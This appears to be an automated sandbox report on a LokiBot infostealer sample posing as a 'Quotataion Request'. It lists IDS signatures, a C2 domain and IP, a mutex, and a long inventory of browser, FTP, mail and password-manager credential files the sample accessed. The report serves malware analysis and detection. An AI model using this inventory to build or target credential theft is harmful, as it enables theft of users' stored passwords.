key: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook
key: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook
Collects information to fingerprint the system
Anomalous binary characteristics
anomaly: Timestamp on binary predates the release date of the OS version it requires by at least a year
Created network traffic indicative of malicious activity
signature: ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1
signature: ET MALWARE LokiBot Request for C2 Commands Detected M2
signature: ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M2
signature: ET MALWARE LokiBot Fake 404 Response
signature: ET MALWARE LokiBot Checkin
signature: ET MALWARE LokiBot User-Agent (Charon/Inferno)
signature: ET MALWARE LokiBot Request for C2 Commands Detected M1
signature: ET JA3 Hash - Possible Malware - Various Eitest
Creates Lokibot mutexes
mutex: 300134BE5A3EACE282B993B6

Screenshots


Hosts

Direct IP Country Name
Y 8.8.8.8 [VT] United States
Y 52.114.74.43 [VT] Netherlands
Y 13.107.42.23 [VT] United States
N 103.129.98.58 [VT] unknown

DNS

Name Response Post-Analysis Lookup
eloquentcs.com [VT] A 103.129.98.58 [VT] 103.129.98.58 [VT]

Summary

C:\Users\Louise\AppData\Local\Temp\Quotataion Request.ENU
C:\Users\Louise\AppData\Local\Temp\Quotataion Request.ENU.DLL
C:\Users\Louise\AppData\Local\Temp\Quotataion Request.EN
C:\Users\Louise\AppData\Local\Temp\Quotataion Request.EN.DLL
C:\Program Files (x86)\Mozilla Firefox\nss3.dll
C:\Users\Louise\AppData\Local\Temp\mozglue.dll
C:\Windows\System32\mozglue.dll
C:\Windows\system\mozglue.dll
C:\Windows\mozglue.dll
C:\Python27\mozglue.dll
C:\Python27\Scripts\mozglue.dll
C:\Windows\System32\wbem\mozglue.dll
C:\Windows\System32\WindowsPowerShell\v1.0\mozglue.dll
C:\ProgramData\chocolatey\bin\mozglue.dll
C:\Users\Louise\AppData\Local\Programs\Python\Python38-32\Scripts\mozglue.dll
C:\Users\Louise\AppData\Local\Programs\Python\Python38-32\mozglue.dll
C:\Users\Louise\AppData\Roaming\Python\Scripts\mozglue.dll
C:\Program Files (x86)\Mozilla Firefox\mozglue.dll
C:\Users\Louise\AppData\Local\Temp\VERSION.dll
C:\Windows\System32\version.dll
C:\Users\Louise\AppData\Local\Temp\dbghelp.dll
C:\Windows\System32\dbghelp.dll
C:\Users\Louise\AppData\Local\Temp\MSVCP140.dll
C:\Windows\System32\msvcp140.dll
C:\Users\Louise\AppData\Local\Temp\VCRUNTIME140.dll
C:\Windows\System32\VCRUNTIME140.dll
C:\Users\Louise\AppData\Local\Temp\api-ms-win-crt-runtime-l1-1-0.dll
C:\Windows\System32\api-ms-win-crt-runtime-l1-1-0.dll
C:\Users\Louise\AppData\Local\Temp\ucrtbase.DLL
C:\Windows\System32\ucrtbase.dll
C:\Users\Louise\AppData\Local\Temp\api-ms-win-core-timezone-l1-1-0.dll
C:\Windows\System32\api-ms-win-core-timezone-l1-1-0.dll
C:\Users\Louise\AppData\Local\Temp\api-ms-win-core-file-l2-1-0.dll
C:\Windows\System32\api-ms-win-core-file-l2-1-0.dll
C:\Users\Louise\AppData\Local\Temp\api-ms-win-core-localization-l1-2-0.dll
C:\Windows\System32\api-ms-win-core-localization-l1-2-0.dll
C:\Users\Louise\AppData\Local\Temp\api-ms-win-core-processthreads-l1-1-1.dll
C:\Windows\System32\api-ms-win-core-processthreads-l1-1-1.dll
C:\Users\Louise\AppData\Local\Temp\api-ms-win-core-file-l1-2-0.dll
C:\Windows\System32\api-ms-win-core-file-l1-2-0.dll
C:\Users\Louise\AppData\Local\Temp\api-ms-win-crt-string-l1-1-0.dll
C:\Windows\System32\api-ms-win-crt-string-l1-1-0.dll
C:\Users\Louise\AppData\Local\Temp\api-ms-win-crt-heap-l1-1-0.dll
C:\Windows\System32\api-ms-win-crt-heap-l1-1-0.dll
C:\Users\Louise\AppData\Local\Temp\api-ms-win-crt-stdio-l1-1-0.dll
C:\Windows\System32\api-ms-win-crt-stdio-l1-1-0.dll
C:\Users\Louise\AppData\Local\Temp\api-ms-win-crt-convert-l1-1-0.dll
C:\Windows\System32\api-ms-win-crt-convert-l1-1-0.dll
C:\Users\Louise\AppData\Local\Temp\api-ms-win-crt-locale-l1-1-0.dll
C:\Windows\System32\api-ms-win-crt-locale-l1-1-0.dll
C:\Users\Louise\AppData\Local\Temp\api-ms-win-crt-math-l1-1-0.dll
C:\Windows\System32\api-ms-win-crt-math-l1-1-0.dll
C:\Users\Louise\AppData\Local\Temp\api-ms-win-crt-multibyte-l1-1-0.dll
C:\Windows\System32\api-ms-win-crt-multibyte-l1-1-0.dll
C:\Users\Louise\AppData\Local\Temp\api-ms-win-crt-time-l1-1-0.dll
C:\Windows\System32\api-ms-win-crt-time-l1-1-0.dll
C:\Users\Louise\AppData\Local\Temp\api-ms-win-crt-filesystem-l1-1-0.dll
C:\Windows\System32\api-ms-win-crt-filesystem-l1-1-0.dll
C:\Users\Louise\AppData\Local\Temp\api-ms-win-crt-environment-l1-1-0.dll
C:\Windows\System32\api-ms-win-crt-environment-l1-1-0.dll
C:\Users\Louise\AppData\Local\Temp\api-ms-win-crt-utility-l1-1-0.dll
C:\Windows\System32\api-ms-win-crt-utility-l1-1-0.dll
C:\Users\Louise\AppData\Local\Temp\WINMM.dll
C:\Windows\System32\winmm.dll
C:\Users\Louise\AppData\Local\Temp\WSOCK32.dll
C:\Windows\System32\wsock32.dll
C:\Users\Louise\AppData\Roaming\Mozilla\Firefox\profiles.ini
C:\Program Files (x86)\Mozilla Firefox\softokn3.dll
C:\Users\Louise\AppData\Roaming\Mozilla\Firefox\Profiles\0f9yudun.default\pkcs11.txt
C:\Program Files (x86)\Mozilla Firefox\freebl3.dll
C:\Windows\System32\api-ms-win-core-sysinfo-l1-2-1.DLL
C:\
C:\Users\Louise\AppData\Roaming\Mozilla\Firefox\Profiles\0f9yudun.default\cert9.db
C:\Users\Louise\AppData\Roaming\Mozilla\Firefox\Profiles\0f9yudun.default\cert9.db-journal
C:\Users\Louise\AppData\Roaming\Mozilla\Firefox\Profiles\0f9yudun.default\cert9.db-wal
C:\Users\Louise\AppData\Roaming\Mozilla\Firefox\Profiles\0f9yudun.default\key4.db
C:\Users\Louise\AppData\Roaming\Mozilla\Firefox\Profiles\0f9yudun.default\key4.db-journal
C:\Users\Louise\AppData\Roaming\Mozilla\Firefox\Profiles\0f9yudun.default\key4.db-wal
C:\Users\Louise\AppData\Roaming\Mozilla\Firefox\Profiles\0f9yudun.default\nssckbi.dll
C:\Users\Louise\AppData\Roaming\Mozilla\Firefox\Profiles\0f9yudun.default\signons.sqlite
C:\Users\Louise\AppData\Roaming\Mozilla\Firefox\Profiles\0f9yudun.default\logins.json
C:\Users\Louise\AppData\Roaming\Mozilla\Firefox\Profiles\0f9yudun.default\signons.txt
C:\Users\Louise\AppData\Roaming\Mozilla\Firefox\Profiles\0f9yudun.default\signons2.txt
C:\Users\Louise\AppData\Roaming\Mozilla\Firefox\Profiles\0f9yudun.default\signons3.txt
C:\Program Files\NETGATE\Black Hawk
C:\Program Files (x86)\Lunascape\Lunascape6\plugins\{9BDD5314-20A6-4d98-AB30-8325A95771EE}
C:\Users\Louise\AppData\Local\Comodo\Dragon\User Data\Default\Login Data
C:\Users\Louise\AppData\Local\Comodo\Dragon\User Data\Default\Web Data
C:\Users\Louise\AppData\LocalComodo\Dragon\Login Data
C:\Users\Louise\AppData\LocalComodo\Dragon\Default\Login Data
C:\Users\Louise\AppData\Local\MapleStudio\ChromePlus\User Data\Default\Login Data
C:\Users\Louise\AppData\Local\MapleStudio\ChromePlus\User Data\Default\Web Data
C:\Users\Louise\AppData\LocalMapleStudio\ChromePlus\Login Data
C:\Users\Louise\AppData\LocalMapleStudio\ChromePlus\Default\Login Data
C:\Users\Louise\AppData\Local\Google\Chrome\User Data\Default\Login Data
C:\Users\Louise\AppData\Local\Nichrome\User Data\Default\Login Data
C:\Users\Louise\AppData\Local\Nichrome\User Data\Default\Web Data
C:\Users\Louise\AppData\LocalNichrome\Login Data
C:\Users\Louise\AppData\LocalNichrome\Default\Login Data
C:\Users\Louise\AppData\Local\RockMelt\User Data\Default\Login Data
C:\Users\Louise\AppData\Local\RockMelt\User Data\Default\Web Data
C:\Users\Louise\AppData\LocalRockMelt\Login Data
C:\Users\Louise\AppData\LocalRockMelt\Default\Login Data
C:\Users\Louise\AppData\Local\Spark\User Data\Default\Login Data
C:\Users\Louise\AppData\Local\Spark\User Data\Default\Web Data
C:\Users\Louise\AppData\LocalSpark\Login Data
C:\Users\Louise\AppData\LocalSpark\Default\Login Data
C:\Users\Louise\AppData\Local\Chromium\User Data\Default\Login Data
C:\Users\Louise\AppData\Local\Chromium\User Data\Default\Web Data
C:\Users\Louise\AppData\LocalChromium\Login Data
C:\Users\Louise\AppData\LocalChromium\Default\Login Data
C:\Users\Louise\AppData\Local\Titan Browser\User Data\Default\Login Data
C:\Users\Louise\AppData\Local\Titan Browser\User Data\Default\Web Data
C:\Users\Louise\AppData\LocalTitan Browser\Login Data
C:\Users\Louise\AppData\LocalTitan Browser\Default\Login Data
C:\Users\Louise\AppData\Local\Torch\User Data\Default\Login Data
C:\Users\Louise\AppData\Local\Torch\User Data\Default\Web Data
C:\Users\Louise\AppData\LocalTorch\Login Data
C:\Users\Louise\AppData\LocalTorch\Default\Login Data
C:\Users\Louise\AppData\Local\Yandex\YandexBrowser\User Data\Default\Login Data
C:\Users\Louise\AppData\Local\Yandex\YandexBrowser\User Data\Default\Web Data
C:\Users\Louise\AppData\LocalYandex\YandexBrowser\Login Data
C:\Users\Louise\AppData\LocalYandex\YandexBrowser\Default\Login Data
C:\Users\Louise\AppData\Local\Epic Privacy Browser\User Data\Default\Login Data
C:\Users\Louise\AppData\Local\Epic Privacy Browser\User Data\Default\Web Data
C:\Users\Louise\AppData\LocalEpic Privacy Browser\Login Data
C:\Users\Louise\AppData\LocalEpic Privacy Browser\Default\Login Data
C:\Users\Louise\AppData\Local\CocCoc\Browser\User Data\Default\Login Data
C:\Users\Louise\AppData\Local\CocCoc\Browser\User Data\Default\Web Data
C:\Users\Louise\AppData\LocalCocCoc\Browser\Login Data
C:\Users\Louise\AppData\LocalCocCoc\Browser\Default\Login Data
C:\Users\Louise\AppData\Local\Vivaldi\User Data\Default\Login Data
C:\Users\Louise\AppData\Local\Vivaldi\User Data\Default\Web Data
C:\Users\Louise\AppData\LocalVivaldi\Login Data
C:\Users\Louise\AppData\LocalVivaldi\Default\Login Data
C:\Users\Louise\AppData\Local\Comodo\Chromodo\User Data\Default\Login Data
C:\Users\Louise\AppData\Local\Comodo\Chromodo\User Data\Default\Web Data
C:\Users\Louise\AppData\LocalComodo\Chromodo\Login Data
C:\Users\Louise\AppData\LocalComodo\Chromodo\Default\Login Data
C:\Users\Louise\AppData\Local\Superbird\User Data\Default\Login Data
C:\Users\Louise\AppData\Local\Superbird\User Data\Default\Web Data
C:\Users\Louise\AppData\LocalSuperbird\Login Data
C:\Users\Louise\AppData\LocalSuperbird\Default\Login Data
C:\Users\Louise\AppData\Local\Coowon\Coowon\User Data\Default\Login Data
C:\Users\Louise\AppData\Local\Coowon\Coowon\User Data\Default\Web Data
C:\Users\Louise\AppData\LocalCoowon\Coowon\Login Data
C:\Users\Louise\AppData\LocalCoowon\Coowon\Default\Login Data
C:\Users\Louise\AppData\Local\Mustang Browser\User Data\Default\Login Data
C:\Users\Louise\AppData\Local\Mustang Browser\User Data\Default\Web Data
C:\Users\Louise\AppData\LocalMustang Browser\Login Data
C:\Users\Louise\AppData\LocalMustang Browser\Default\Login Data
C:\Users\Louise\AppData\Local\360Browser\Browser\User Data\Default\Login Data
C:\Users\Louise\AppData\Local\360Browser\Browser\User Data\Default\Web Data
C:\Users\Louise\AppData\Local360Browser\Browser\Login Data
C:\Users\Louise\AppData\Local360Browser\Browser\Default\Login Data
C:\Users\Louise\AppData\Local\CatalinaGroup\Citrio\User Data\Default\Login Data
C:\Users\Louise\AppData\Local\CatalinaGroup\Citrio\User Data\Default\Web Data
C:\Users\Louise\AppData\LocalCatalinaGroup\Citrio\Login Data
C:\Users\Louise\AppData\LocalCatalinaGroup\Citrio\Default\Login Data
C:\Users\Louise\AppData\Local\Google\Chrome SxS\User Data\Default\Login Data
C:\Users\Louise\AppData\Local\Google\Chrome SxS\User Data\Default\Web Data
C:\Users\Louise\AppData\LocalGoogle\Chrome SxS\Login Data
C:\Users\Louise\AppData\LocalGoogle\Chrome SxS\Default\Login Data
C:\Users\Louise\AppData\Local\Orbitum\User Data\Default\Login Data
C:\Users\Louise\AppData\Local\Orbitum\User Data\Default\Web Data
C:\Users\Louise\AppData\LocalOrbitum\Login Data
C:\Users\Louise\AppData\LocalOrbitum\Default\Login Data
C:\Users\Louise\AppData\Local\Iridium\User Data\Default\Login Data
C:\Users\Louise\AppData\Local\Iridium\User Data\Default\Web Data
C:\Users\Louise\AppData\LocalIridium\Login Data
C:\Users\Louise\AppData\LocalIridium\Default\Login Data
C:\Users\Louise\AppData\Roaming\Opera\Opera Next\data\User Data\Default\Login Data
C:\Users\Louise\AppData\Roaming\Opera\Opera Next\data\User Data\Default\Web Data
C:\Users\Louise\AppData\Roaming\Opera\Opera Next\data\Login Data
C:\Users\Louise\AppData\Roaming\Opera\Opera Next\data\Default\Login Data
C:\Users\Louise\AppData\Roaming\Opera Software\Opera Stable\User Data\Default\Login Data
C:\Users\Louise\AppData\Roaming\Opera Software\Opera Stable\User Data\Default\Web Data
C:\Users\Louise\AppData\Roaming\Opera Software\Opera Stable\Login Data
C:\Users\Louise\AppData\Roaming\Opera Software\Opera Stable\Default\Login Data
C:\Users\Louise\AppData\Roaming\Fenrir Inc\Sleipnir\setting\modules\ChromiumViewer\User Data\Default\Login Data
C:\Users\Louise\AppData\Roaming\Fenrir Inc\Sleipnir\setting\modules\ChromiumViewer\User Data\Default\Web Data
C:\Users\Louise\AppData\Roaming\Fenrir Inc\Sleipnir\setting\modules\ChromiumViewer\Login Data
C:\Users\Louise\AppData\Roaming\Fenrir Inc\Sleipnir\setting\modules\ChromiumViewer\Default\Login Data
C:\Users\Louise\AppData\Roaming\Fenrir Inc\Sleipnir5\setting\modules\ChromiumViewer\User Data\Default\Login Data
C:\Users\Louise\AppData\Roaming\Fenrir Inc\Sleipnir5\setting\modules\ChromiumViewer\User Data\Default\Web Data
C:\Users\Louise\AppData\Roaming\Fenrir Inc\Sleipnir5\setting\modules\ChromiumViewer\Login Data
C:\Users\Louise\AppData\Roaming\Fenrir Inc\Sleipnir5\setting\modules\ChromiumViewer\Default\Login Data
C:\Users\Louise\AppData\Local\QupZilla\profiles\default\browsedata.db
C:\Users\Louise\AppData\Roaming\Opera
C:\Users\Louise\AppData\Roaming\.purple\accounts.xml
C:\Users\Louise\Documents\SuperPutty
C:\Program Files (x86)\FTPShell\ftpshell.fsi
C:\Users\Louise\AppData\Roaming\Notepad++\plugins\config\NppFTP\NppFTP.xml
C:\Program Files (x86)\oZone3D\MyFTP\myftp.ini
C:\Users\Louise\AppData\Roaming\FTPBox\profiles.conf
C:\Program Files (x86)\Sherrod Computers\sherrod FTP\favorites
C:\Program Files (x86)\FTP Now\sites.xml
C:\Program Files (x86)\NexusFile\userdata\ftpsite.ini
C:\Users\Louise\AppData\Roaming\NexusFile\ftpsite.ini
C:\Users\Louise\Documents\NetSarang\Xftp\Sessions
C:\Users\Louise\AppData\Roaming\NetSarang\Xftp\Sessions
C:\Program Files (x86)\EasyFTP\data
C:\Users\Louise\AppData\Roaming\SftpNetDrive
C:\Program Files (x86)\AbleFTP7\encPwd.jsd
C:\Program Files (x86)\AbleFTP7\data\settings\sshProfiles-j.jsd
C:\Program Files (x86)\AbleFTP7\data\settings\ftpProfiles-j.jsd
C:\Program Files (x86)\AbleFTP8\encPwd.jsd
C:\Program Files (x86)\AbleFTP8\data\settings\sshProfiles-j.jsd
C:\Program Files (x86)\AbleFTP8\data\settings\ftpProfiles-j.jsd
C:\Program Files (x86)\AbleFTP9\encPwd.jsd
C:\Program Files (x86)\AbleFTP9\data\settings\sshProfiles-j.jsd
C:\Program Files (x86)\AbleFTP9\data\settings\ftpProfiles-j.jsd
C:\Program Files (x86)\AbleFTP10\encPwd.jsd
C:\Program Files (x86)\AbleFTP10\data\settings\sshProfiles-j.jsd
C:\Program Files (x86)\AbleFTP10\data\settings\ftpProfiles-j.jsd
C:\Program Files (x86)\AbleFTP11\encPwd.jsd
C:\Program Files (x86)\AbleFTP11\data\settings\sshProfiles-j.jsd
C:\Program Files (x86)\AbleFTP11\data\settings\ftpProfiles-j.jsd
C:\Program Files (x86)\AbleFTP12\encPwd.jsd
C:\Program Files (x86)\AbleFTP12\data\settings\sshProfiles-j.jsd
C:\Program Files (x86)\AbleFTP12\data\settings\ftpProfiles-j.jsd
C:\Program Files (x86)\AbleFTP13\encPwd.jsd
C:\Program Files (x86)\AbleFTP13\data\settings\sshProfiles-j.jsd
C:\Program Files (x86)\AbleFTP13\data\settings\ftpProfiles-j.jsd
C:\Program Files (x86)\AbleFTP14\encPwd.jsd
C:\Program Files (x86)\AbleFTP14\data\settings\sshProfiles-j.jsd
C:\Program Files (x86)\AbleFTP14\data\settings\ftpProfiles-j.jsd
C:\Program Files (x86)\JaSFtp7\encPwd.jsd
C:\Program Files (x86)\JaSFtp7\data\settings\sshProfiles-j.jsd
C:\Program Files (x86)\JaSFtp7\data\settings\ftpProfiles-j.jsd
C:\Program Files (x86)\JaSFtp8\encPwd.jsd
C:\Program Files (x86)\JaSFtp8\data\settings\sshProfiles-j.jsd
C:\Program Files (x86)\JaSFtp8\data\settings\ftpProfiles-j.jsd
C:\Program Files (x86)\JaSFtp9\encPwd.jsd
C:\Program Files (x86)\JaSFtp9\data\settings\sshProfiles-j.jsd
C:\Program Files (x86)\JaSFtp9\data\settings\ftpProfiles-j.jsd
C:\Program Files (x86)\JaSFtp10\encPwd.jsd
C:\Program Files (x86)\JaSFtp10\data\settings\sshProfiles-j.jsd
C:\Program Files (x86)\JaSFtp10\data\settings\ftpProfiles-j.jsd
C:\Program Files (x86)\JaSFtp11\encPwd.jsd
C:\Program Files (x86)\JaSFtp11\data\settings\sshProfiles-j.jsd
C:\Program Files (x86)\JaSFtp11\data\settings\ftpProfiles-j.jsd
C:\Program Files (x86)\JaSFtp12\encPwd.jsd
C:\Program Files (x86)\JaSFtp12\data\settings\sshProfiles-j.jsd
C:\Program Files (x86)\JaSFtp12\data\settings\ftpProfiles-j.jsd
C:\Program Files (x86)\JaSFtp13\encPwd.jsd
C:\Program Files (x86)\JaSFtp13\data\settings\sshProfiles-j.jsd
C:\Program Files (x86)\JaSFtp13\data\settings\ftpProfiles-j.jsd
C:\Program Files (x86)\JaSFtp14\encPwd.jsd
C:\Program Files (x86)\JaSFtp14\data\settings\sshProfiles-j.jsd
C:\Program Files (x86)\JaSFtp14\data\settings\ftpProfiles-j.jsd
C:\Program Files (x86)\Automize7\encPwd.jsd
C:\Program Files (x86)\Automize7\data\settings\sshProfiles-j.jsd
C:\Program Files (x86)\Automize7\data\settings\ftpProfiles-j.jsd
C:\Program Files (x86)\Automize8\encPwd.jsd
C:\Program Files (x86)\Automize8\data\settings\sshProfiles-j.jsd
C:\Program Files (x86)\Automize8\data\settings\ftpProfiles-j.jsd
C:\Program Files (x86)\Automize9\encPwd.jsd
C:\Program Files (x86)\Automize9\data\settings\sshProfiles-j.jsd
C:\Program Files (x86)\Automize9\data\settings\ftpProfiles-j.jsd
C:\Program Files (x86)\Automize10\encPwd.jsd
C:\Program Files (x86)\Automize10\data\settings\sshProfiles-j.jsd
C:\Program Files (x86)\Automize10\data\settings\ftpProfiles-j.jsd
C:\Program Files (x86)\Automize11\encPwd.jsd
C:\Program Files (x86)\Automize11\data\settings\sshProfiles-j.jsd
C:\Program Files (x86)\Automize11\data\settings\ftpProfiles-j.jsd
C:\Program Files (x86)\Automize12\encPwd.jsd
C:\Program Files (x86)\Automize12\data\settings\sshProfiles-j.jsd
C:\Program Files (x86)\Automize12\data\settings\ftpProfiles-j.jsd
C:\Program Files (x86)\Automize13\encPwd.jsd
C:\Program Files (x86)\Automize13\data\settings\sshProfiles-j.jsd
C:\Program Files (x86)\Automize13\data\settings\ftpProfiles-j.jsd
C:\Program Files (x86)\Automize14\encPwd.jsd
C:\Program Files (x86)\Automize14\data\settings\sshProfiles-j.jsd
C:\Program Files (x86)\Automize14\data\settings\ftpProfiles-j.jsd
C:\Users\Louise\AppData\Roaming\Cyberduck
C:\Users\Louise\AppData\Roaming\iterate_GmbH
C:\Users\Louise\.config\fullsync\profiles.xml
C:\Users\Louise\AppData\Roaming\FTPInfo\ServerList.xml
C:\Users\Louise\AppData\Roaming\FTPInfo\ServerList.cfg
C:\Program Files (x86)\FileZilla\Filezilla.xml
C:\Users\Louise\AppData\Roaming\FileZilla\filezilla.xml
C:\Users\Louise\AppData\Roaming\FileZilla\recentservers.xml
C:\Users\Louise\AppData\Roaming\FileZilla\sitemanager.xml
C:\Program Files (x86)\Staff-FTP\sites.ini
C:\Users\Louise\AppData\Roaming\BlazeFtp\site.dat
C:\Program Files (x86)\Fastream NETFile\My FTP Links
C:\Program Files (x86)\GoFTP\settings\Connections.txt
C:\Users\Louise\AppData\Roaming\Estsoft\ALFTP\ESTdb2.dat
C:\Program Files (x86)\DeluxeFTP\sites.xml
C:\Windows\wcx_ftp.ini
C:\Users\Louise\AppData\Roaming\wcx_ftp.ini
C:\Users\Louise\wcx_ftp.ini
C:\Users\Louise\AppData\Roaming\GHISLER\wcx_ftp.ini
C:\Program Files (x86)\FTPGetter\Profile\servers.xml
C:\Users\Louise\AppData\Roaming\FTPGetter\servers.xml
C:\Program Files (x86)\WS_FTP\WS_FTP.INI
C:\Windows\WS_FTP.INI
C:\Users\Louise\AppData\Roaming\Ipswitch
C:\Users\Louise\site.xml
C:\Users\Louise\AppData\Local\PokerStars*
C:\Users\Louise\AppData\Local\ExpanDrive
C:\Users\Louise\AppData\Roaming\Steed\bookmarks.txt
C:\Users\Louise\AppData\Roaming\FlashFXP
C:\ProgramData\FlashFXP
C:\Users\Louise\AppData\Local\INSoftware\NovaFTP\NovaFTP.db
C:\Users\Louise\AppData\Roaming\NetDrive\NDSites.ini
C:\Users\Louise\AppData\Roaming\NetDrive2\drives.dat
C:\ProgramData\NetDrive2\drives.dat
C:\Users\Louise\AppData\Roaming\SmartFTP
C:\Users\Louise\AppData\Roaming\Far Manager\Profile\PluginsData\42E4AEB1-A230-44F4-B33C-F195BB654931.db
C:\Users\Louise\Documents\*.tlp
C:\Users\Louise\Documents\*.bscp
C:\Users\Louise\Documents\*.vnc
C:\Users\Louise\Desktop\*.vnc
C:\Users\Louise\Documents\mSecure
C:\ProgramData\Syncovery
C:\Program Files (x86)\FreshWebmaster\FreshFTP\FtpSites.SMF
C:\Users\Louise\AppData\Roaming\BitKinex\bitkinex.ds
C:\Users\Louise\AppData\Roaming\UltraFXP\sites.xml
C:\Users\Louise\AppData\Roaming\FTP Now\sites.xml
C:\Program Files (x86)\Odin Secure FTP Expert\QFDefault.QFQ
C:\Program Files (x86)\Odin Secure FTP Expert\SiteInfo.QFP
C:\Program Files (x86)\Mozilla Thunderbird
C:\Program Files (x86)\Mozilla Thunderbird\nss3.dll
C:\Program Files (x86)\Mozilla Thunderbird\mozglue.dll
C:\Program Files (x86)\Mozilla Thunderbird\sqlite3.dll
C:\Program Files (x86)\Mozilla Thunderbird\mozsqlite3.dll
C:\Users\Louise\AppData\Roaming\Thunderbird\profiles.ini
C:\Program Files (x86)\Foxmail\mail
C:\Foxmail*
C:\Users\Louise\AppData\Roaming\Pocomail\accounts.ini
C:\Users\Louise\Documents\Pocomail\accounts.ini
C:\Users\Louise\AppData\Roaming\GmailNotifierPro\ConfigData.xml
C:\Users\Louise\AppData\Roaming\DeskSoft\CheckMail
C:\Program Files (x86)\WinFtp Client\Favorites.dat
C:\Windows\32BitFtp.TMP
C:\Windows\32BitFtp.ini
C:\FTP Navigator\Ftplist.txt
C:\Softwarenetz\Mailing\Daten\mailing.vdt
C:\Users\Louise\AppData\Roaming\Opera Mail\Opera Mail\wand.dat
C:\Users\Louise\Documents\*Mailbox.ini
C:\Users\Louise\Documents\yMail2\POP3.xml
C:\Users\Louise\Documents\yMail2\SMTP.xml
C:\Users\Louise\Documents\yMail2\Accounts.xml
C:\Users\Louise\Documents\yMail\ymail.ini
C:\Users\Louise\AppData\Roaming\TrulyMail\Data\Settings\user.config
C:\Users\Louise\Documents\*.spn
C:\Users\Louise\Desktop\*.spn
C:\Users\Louise\AppData\Roaming\To-Do DeskList\tasks.db
C:\Users\Louise\AppData\Roaming\stickies\images
C:\Users\Louise\AppData\Roaming\stickies\rtf
C:\Users\Louise\AppData\Roaming\NoteFly\notes
C:\Users\Louise\AppData\Roaming\Conceptworld\Notezilla\Notes8.db
C:\Users\Louise\AppData\Roaming\Microsoft\Sticky Notes\StickyNotes.snt
C:\Users\Louise\Documents
C:\Users\Louise\Documents\*.kdbx
C:\Users\Louise\Desktop
C:\Users\Louise\Desktop\*.kdbx
C:\Users\Louise\Documents\*.kdb
C:\Users\Louise\Desktop\*.kdb
C:\Users\Louise\Documents\Enpass
C:\Users\Louise\Documents\My RoboForm Data
C:\Users\Louise\Documents\1Password
C:\Users\Louise\AppData\Local\Temp\Mikrotik\Winbox
C:\Users\Louise\AppData\Local\Temp\NETAPI32.DLL
C:\Windows\System32\netapi32.dll
C:\Users\Louise\AppData\Local\Temp\netutils.dll
C:\Windows\System32\netutils.dll
C:\Users\Louise\AppData\Local\Temp\srvcli.dll
C:\Windows\System32\srvcli.dll
C:\Users\Louise\AppData\Roaming\E5A3EA
C:\Users\Louise\AppData\Roaming\E5A3EA\ACE282.lck
C:\Users\Louise\AppData\Roaming\Microsoft\Credentials
C:\Users\Louise\AppData\Roaming\Microsoft\Credentials\*
C:\Users\Louise\AppData\Local\Microsoft\Credentials
C:\Users\Louise\AppData\Local\Microsoft\Credentials\*
C:\Users\Louise\AppData\Local\Temp\quotataion request.exe
C:\Users\Louise\AppData\Roaming\E5A3EA\ACE282.exe
C:\Windows\Temp
C:\Windows\sysnative\LogFiles\Scm\eaca24ff-236c-401d-a1e7-b3d5267b8a50
C:\Program Files (x86)\Mozilla Firefox\nss3.dll
C:\Program Files (x86)\Mozilla Firefox\mozglue.dll
C:\Windows\System32\version.dll
C:\Windows\System32\dbghelp.dll
C:\Windows\System32\msvcp140.dll
C:\Windows\System32\VCRUNTIME140.dll
C:\Windows\System32\api-ms-win-crt-runtime-l1-1-0.dll
C:\Windows\System32\ucrtbase.dll
C:\Windows\System32\api-ms-win-core-timezone-l1-1-0.dll
C:\Windows\System32\api-ms-win-core-file-l2-1-0.dll
C:\Windows\System32\api-ms-win-core-localization-l1-2-0.dll
C:\Windows\System32\api-ms-win-core-processthreads-l1-1-1.dll
C:\Windows\System32\api-ms-win-core-file-l1-2-0.dll
C:\Windows\System32\api-ms-win-crt-string-l1-1-0.dll
C:\Windows\System32\api-ms-win-crt-heap-l1-1-0.dll
C:\Windows\System32\api-ms-win-crt-stdio-l1-1-0.dll
C:\Windows\System32\api-ms-win-crt-convert-l1-1-0.dll
C:\Windows\System32\api-ms-win-crt-locale-l1-1-0.dll
C:\Windows\System32\api-ms-win-crt-math-l1-1-0.dll
C:\Windows\System32\api-ms-win-crt-multibyte-l1-1-0.dll
C:\Windows\System32\api-ms-win-crt-time-l1-1-0.dll
C:\Windows\System32\api-ms-win-crt-filesystem-l1-1-0.dll
C:\Windows\System32\api-ms-win-crt-environment-l1-1-0.dll
C:\Windows\System32\api-ms-win-crt-utility-l1-1-0.dll
C:\Windows\System32\winmm.dll
C:\Windows\System32\wsock32.dll
C:\Users\Louise\AppData\Roaming\Mozilla\Firefox\profiles.ini
C:\Program Files (x86)\Mozilla Firefox\softokn3.dll
C:\Users\Louise\AppData\Roaming\Mozilla\Firefox\Profiles\0f9yudun.default\pkcs11.txt
C:\Program Files (x86)\Mozilla Firefox\freebl3.dll
C:\Users\Louise\AppData\Roaming\Mozilla\Firefox\Profiles\0f9yudun.default\cert9.db
C:\Users\Louise\AppData\Roaming\Mozilla\Firefox\Profiles\0f9yudun.default\key4.db
C:\Users\Louise\AppData\Roaming\Mozilla\Firefox\Profiles\0f9yudun.default\logins.json
C:\Users\Louise\AppData\Local\Google\Chrome\User Data\Default\Login Data
C:\Program Files (x86)\Mozilla Thunderbird\nss3.dll
C:\Program Files (x86)\Mozilla Thunderbird\mozglue.dll
C:\Windows\System32\netapi32.dll
C:\Windows\System32\netutils.dll
C:\Windows\System32\srvcli.dll
C:\Users\Louise\AppData\Roaming\E5A3EA\ACE282.lck
C:\Windows\sysnative\LogFiles\Scm\eaca24ff-236c-401d-a1e7-b3d5267b8a50
C:\Users\Louise\AppData\Roaming\E5A3EA\ACE282.lck
C:\Users\Louise\AppData\Roaming\E5A3EA\ACE282.exe
C:\Users\Louise\AppData\Roaming\E5A3EA\ACE282.lck
C:\Users\Louise\AppData\Local\Temp\quotataion request.exe
HKEY_CURRENT_USER
DisableUserModeCallbackFilter
HKEY_CURRENT_USER\Software\Borland\Locales
HKEY_LOCAL_MACHINE\Software\Borland\Locales
HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\CustomLocale
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\en-US
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\ExtendedLocale
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\en-US
